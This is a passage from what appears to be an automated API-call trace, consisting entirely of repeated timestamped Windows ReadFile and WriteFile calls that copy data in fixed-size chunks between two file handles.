lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.018] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.019] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.020] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.020] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.021] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.044] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.061] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.061] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.062] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.063] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.065] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.066] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.067] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.067] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.068] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.069] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.071] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.072] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.073] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.073] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.074] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.075] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.076] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.076] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.077] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.078] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.078] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.079] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.112] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.116] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.117] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.117] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.118] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.119] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.125] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.125] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.126] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.127] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.127] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.129] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.141] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.142] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.143] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.143] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.144] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.145] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.146] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.147] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.148] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.148] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.150] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.151] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.153] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.154] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.155] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.156] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.156] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.157] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.158] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.159] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.160] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.160] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.160] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.162] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.163] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.164] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.166] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.166] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.167] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.168] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.169] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.169] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.170] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.171] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.171] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.172] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.202] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.205] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.216] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.216] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.217] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.218] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.219] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.219] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.220] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.221] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.221] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.222] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.225] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.226] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.226] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.227] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.228] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.229] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0197.229] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0197.230] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0197.231] WriteFile (in: hFile=0x39c, 